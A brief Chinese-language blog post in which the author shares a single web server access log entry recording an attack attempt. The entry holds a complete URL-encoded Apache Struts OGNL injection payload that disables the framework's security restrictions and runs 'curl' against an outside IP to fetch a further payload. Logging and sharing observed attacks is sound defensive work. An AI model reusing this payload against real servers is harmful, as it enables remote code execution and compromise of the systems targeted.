很久沒寫weblog的東西了, 大部分都是phpMyAdmin、WordPress或NAS的漏洞攻擊, 這幾天看到了一個有趣的東西, 它居然是可以正常access的:
45.146.164.15 - - [22/Dec/2020:14:20:40 +0800] "GET /?id=%25%7B%28%27Powered_by_Unicode_Potats0%2Cenjoy_it%27%29.%28%23UnicodeSec+%3D+%23application%5B%27org.apache.tomcat.InstanceManager%27%5D%29.%28%23potats0%3D%23UnicodeSec.newInstance%28%27org.apache.commons.collections.BeanMap%27%29%29.%28%23stackvalue%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23potats0.setBean%28%23stackvalue%29%29.%28%23context%3D%23potats0.get%28%27context%27%29%29.%28%23potats0.setBean%28%23context%29%29.%28%23sm%3D%23potats0.get%28%27memberAccess%27%29%29.%28%23emptySet%3D%23UnicodeSec.newInstance%28%27java.util.HashSet%27%29%29.%28%23potats0.setBean%28%23sm%29%29.%28%23potats0.put%28%27excludedClasses%27%2C%23emptySet%29%29.%28%23potats0.put%28%27excludedPackageNames%27%2C%23emptySet%29%29.%28%23exec%3D%23UnicodeSec.newInstance%28%27freemarker.template.utility.Execute%27%29%29.%28%23cmd%3D%7B%27curl+93.189.44.137%2Fssa%27%7D%29.%28%23res%3D%23exec.exec%28%23cmd%29%29%7D HTTP/1.1" 200 1833 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
